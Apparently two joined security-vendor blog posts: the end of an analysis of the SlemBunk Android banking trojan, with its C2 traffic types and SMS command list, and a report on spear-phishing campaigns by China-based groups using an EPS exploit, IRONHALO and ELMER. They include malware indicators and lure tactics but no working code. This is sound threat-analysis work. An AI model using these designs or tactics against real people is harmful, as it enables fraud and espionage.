We noticed the SlemBunk authors have invested time in making sure that the look and feel of the phishing UI closely resembles that of the original. In some instances, the phishing interface requests that the user type in their credentials twice rather than once. It also forces the user to go through a fake verification process, which we suspect is to increase the user’s confidence in its authenticity.
Remote Communication
SlemBunk utilizes a simple yet effective remote communication mechanism that enables a server to command and control theinstalled malware. We identified two ways a SlemBunk sample communicates with its control server:
● HTTP: Many of the remote server IPs are hardcoded in the source code for early developed samples. For newer samples, SlemBunk authors used basic Base64 encoding in the hope of fending off reverse engineering. Figure 4 shows a short snippet of code that decodes the encoded data.
There are primarily three requests from the client to the server:
● Initial Checkin: this request informs the server about successful installation and running, with device data being uploaded to the server. That data includes device model, OS version, phone number, app list, and country name. Figure 5 is a screenshot of the live traffic.
Figure 4. The Base64 decoding of SlemBunk remote server
Figure 5. Initial Checkin
● Regular Status Report: this request informs the server
about its status. The status report often covers the status of SMS
listening and interception, the phone number, and the locking status.
Figure 6 shows the captured traffic for this process.Figure 6. Regular Status Report
● Phished Data Upload: once the malware gets a hold of credentials, it sends them to the remote server. Figure 7 shows the captured traffic for this process.
Figure 7. Phished Data Upload
● SMS: The remote server is capable of controlling the malicious app’s behavior through text messages. For instance, "intercept_sms_stop" stops the interception of SMS messages and "intercept_sms_start" restarts the interception. Command "lock" mutes the device’s audio system, which effectively conceals the arrival of text messages or phone calls. Command "wipe_data" wipes all the data partition of the infected device. The complete list of supported commands is shown in Appendix A. The relevant code is shown in Figure 8.
Figure 8. SMS based command & control
Evolution of the Family
SlemBunk has evolved throughout time. The earliest samples mainly target users of popular social networking apps, but later samples started to be more focused on defrauding users of financial services apps, with a clear objective on financial gain. Among all the specified apps, we have observed that banks in Australia are among SlemBunk’s favorites, with banks in the U.S. coming in second.
As SlemBunk expands its coverage of banks, its code has also become more sophisticated. Notably, later samples utilize different techniques to obscure potential reverse engineering. Figure 4 shows an obscured string that is Base64 encoded. Appendix B gives more details about the decoded text and its usage in the SlemBunk family. In a few cases, SlemBunk authors took advantage of a commercial packer, DexProtector, which was designed to protect apps from being pirated. However, when used by a malicious application, it raises the difficulty for the analysis process.
Conclusion
The rise and evolution of the SlemBunk trojan clearly indicates that mobile malware has become more sophisticated and targeted, and involves more organized efforts. We have already seen crackdowns on malware campaigns targeting mobile banking users [2, 3], but we do not expect this type of activity to go away anytime soon. To protect yourself from these threats, FireEye suggests that you:
● Do not install apps outside the official app store.
● Keep Android devices updated. (Upgrading to the latest version of OS will provide some security, but it does not guarantee that you will remain protected.)
To detect and defend against such attacks, we advise our customers to deploy our mobile security solution, FireEye MTP/MSM. This helps our clients gain visibility into threats in their user base, and also enables them to proactively hunt down devices that have been compromised. In addition, we advise our customers with NX appliances to ensure that Wi-Fi traffic is scanned by NX appliances to extend coverage to mobile devices.
[1] https://blog.fortinet.com/post/fake-android-flash-player-hits-global-financial-institutions
Appendix A: List of the Control Commands Delivered via SMS
● #block_numbers
● #control_number
●
#disable_forward_calls
● #intercept_sms_start
●
#intercept_sms_stop
● #lock
●
#unblock_all_numbers
● #unblock_numbers
●
#unlock
● #update_html
● #wipe_data
●
#check
● #check_gps
● #control_number
● #grab_apps
● #listen_sms_start
●
#listen_sms_stop
● #sentid
● #show_dialog
● #show_html
Appendix B: Base64-Decoded String to Customize SlemBunk's Behavior
Some of recent SlemBunk samples use Base64 coding scheme to hide the data exchange protocol used to communicate with remote CnC server. Figure 7 shows a snippet of code to decode an obscured text string at runtime. Table 1 shows partially the decoded data that SlemBot uses later to customize its behavior:
Table 1: Decoded text segments and their usage
in SlemBunk apps
The EPS Awakens – Part 2
On Wednesday, Dec. 16,2015, FireEye published The EPS Awakens, detailing an exploit targeting a previously unknown Microsoft Encapsulated Postscript (EPS) dict copy use-after-free vulnerability that was silently patched by Microsoft on November 10, 2015. The blog described the technical details of the vulnerability, and the steps needed to bypass the EPS filter and obtain full read and write access to the system memory.
In this follow-up blog, we discuss the operational details of the spear phishing campaigns associated with the exploit. Specifically, we detail the lures, attachments, targeting and malware, and examine the China-based advanced persistent threat (APT) group responsible for one of the observed attacks.
Activity Summary
Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.
On November 26, 2015, a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies. As shown in Figure 1, the emails originated from the Yahoo! email address mts03282000@yahoo.co[.]jp, and contained the subject “新年号巻頭言の送付” (Google Translation: Sending of New Year No. Foreword).
Figure 1. November 26, 2015 Phish SMTP header
Each phishing message contained the same malicious
Microsoft Word attachment. The malicious attachment resembled an
article hosted on a legitimate Japanese defense-related website, as
both discussed national defense topics and carried the same byline.
The lure documents also used the Japanese calendar, as indicated by
the 27th year in the Heisei period. This demonstrates that the threat
actors understand conventional Japanese date notation.
IRONHALO Downloader
Following the exploitation of the EPS and CVE-2015-1701 vulnerabilities, the exploit payload drops either a 32-bit or 64-bit binary containing an embedded IRONHALO malware sample. IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.
The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp.
Table 1. IRONHALO artifacts
IRONHALO persists by copying itself to the current user’s Startup folder. This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string, as shown in Figure 2. The threat actors likely compromised the legitimate site and attempted to use it as a staging server for second-stage payloads.
Figure 2. IRONHALO HTTP GET request
December to Remember
On December 1, 2015, threat actors launched two additional spear phishing attacks exploiting the undisclosed EPS vulnerability and CVE-2015-1701. Unlike the Nov. 26 campaign, these attacks targeted Taiwanese governmental and media and entertainment organizations. Moreover, the exploit dropped a different malware payload, a backdoor we refer to as ELMER.
Lure Number One
The first spear phishing message was sent to a Taiwanese governmental employee on Dec. 1. The attachment was created using the traditional Chinese character set, and contained a flowchart that appeared to be taken from the legitimate Taiwanese government auction website hxxp://shwoo.gov[.]taipei/buyer_flowchart.asp. The image, shown in Figure 3, is a flowchart detailing how to place a trade on the Taipei Nature and Cherish Network website.
Figure 3: Lure Image
Lure Number Two
The second December spear phishing attack targeted Taiwan-based news media organizations. The emails originated from the address dpptccb.dpp@msa.hinet[.]net (Figure 4), and contained the subject DPP's Contact Information Update. Based on the email address naming convention and message subject, the threat actors may have tried to make the message appear to be a legitimate communication from the Democratic Progressive Party (DPP), Taiwan’s opposition party.
Figure 4. December 1 Lure 2 SMTP Header
Unlike the previous exploit documents, this malicious attachment did not contain any visible text when opened in Microsoft Word.
ELMER Backdoor
The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER. ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings.
To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed. Table 2 lists the ELMER backdoors observed during the December campaigns.
Table 2. ELMER variants
The ELMER variant 6c33223db475f072119fe51a2437a542 beaconed to the CnC IP address 121.127.249.74 over port 443. However the ELMER sample 0b176111ef7ec98e651ffbabf9b35a18 beaconed to the CnC domain news.rinpocheinfo[.]com over port 443. Both samples used the hard-coded User-Agent string “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)”, as shown in Figure 5.
Figure 5. ELMER beacon
APT16
While attribution of the first two spear phishing attacks is still uncertain, we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16. This is based on the use of the known APT16 domain rinpocheinfo[.]com, as well as overlaps in previously observed targeting and tactics, techniques and procedures (TTPs).
Background
Taiwanese citizens will go to the polls on January 16, 2016, to choose a new President and legislators. According to recent opinion polls, the Democratic Progressive Party (DPP) candidate Tsai Ing-wen is leading her opponents and is widely expected to win the election. The DPP is part of the pan-green coalition that favors Taiwanese independence over reunification with the mainland, and the party’s victory would represent a shift away from the ruling Kuomintang’s closer ties with the PRC. Since 1949, Beijing has claimed Taiwan as a part of China and strongly opposes any action toward independence. The Chinese government is therefore concerned whether a DPP victory might weaken the commercial and tourism ties between China and Taiwan, or even drive Taiwan closer to independence. In 2005, the Chinese government passed an “anti-secession” law that signified its intention to use “non-peaceful” means to stymie any Taiwanese attempt to secede from China.
Targeting Motivations
APT16 actors sent spear phishing emails to two Taiwanese media organization addresses and three webmail addresses. The message subject read “DPP’s Contact Information Update”, apparently targeting those interested in contact information for DPP members or politicians. The Chinese government would benefit from improved insight into local media coverage of Taiwanese politics, both to better anticipate the election outcome and to gather additional intelligence on politicians, activists, and others who interact with journalists. This tactic is not without precedent; in 2013, the New York Times revealed it had been the target of China-based actors shortly after it reported on the alleged mass accumulation of wealth by then-Prime Minister Wen Jiabao and his family. The actors likely sought information on the newspaper’s sources in China, who could be silenced by the government.
Compromising these Taiwanese news organizations would also allow the actors to gain access to informants or other protected sources, who might then be targeted for further intelligence collection or even retribution. The webmail addresses, while unknown, were possibly the personal-use addresses of the individuals whose corporate domain emails were targeted. As corporate networks become more secure and users become more vigilant, personal accounts can still offer a means to bypass security systems. This tactic exploits users’ reduced vigilance when reading their own personal email, even when using corporate IT equipment to do so.
On the same date that APT16 targeted Taiwanese media, suspected Chinese APT actors also targeted a Taiwanese government agency, sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website. It is possible, although not confirmed, that APT16 was also responsible for targeting this government agency, given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor.
We’ve Been Here Before
One of the media organizations involved in this latest activity was targeted in June 2015, while its Hong Kong branch was similarly targeted in August 2015. APT16 actors were likely also responsible for the June 2015 activity. They sent spear phishing messages with the subject “2015 Taiwan Security and Cultural Forum Invitation Form” (2015台灣安全文化論壇邀請函), and used a different tool – a tool that we refer to as DOORJAMB – in their attempt to compromise the organization. A different group, known as admin@338, used LOWBALL malware during its Hong Kong activity. Despite the differing sponsorship, penetration of Hong Kong- and Taiwan-based media organizations continues to be a priority for China-based threat groups.
The difference in sponsorship could be the result of tasking systems that allocate targeting responsibility to different groups based on their targets’ geographic location. In other words, while media organizations are important targets, it is possible that two separate groups are responsible for Hong Kong and Taiwan, respectively. The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility.
Conclusion
Table 3 contains a summary of the phishing activity detailed in this blog.
Table 3. Activity summary
These clusters of activity raise interesting questions about the use of an identical silently-patched vulnerability, possibly by multiple threat groups. Both Japan and Taiwan are important intelligence collection targets for China, particularly because of recent changes to Japan’s pacifist constitution and the upcoming Taiwanese election. Based on our visibility and available data, we only attribute one campaign to the Chinese APT group APT16. Nonetheless, the evidence suggests the involvement of China-based groups.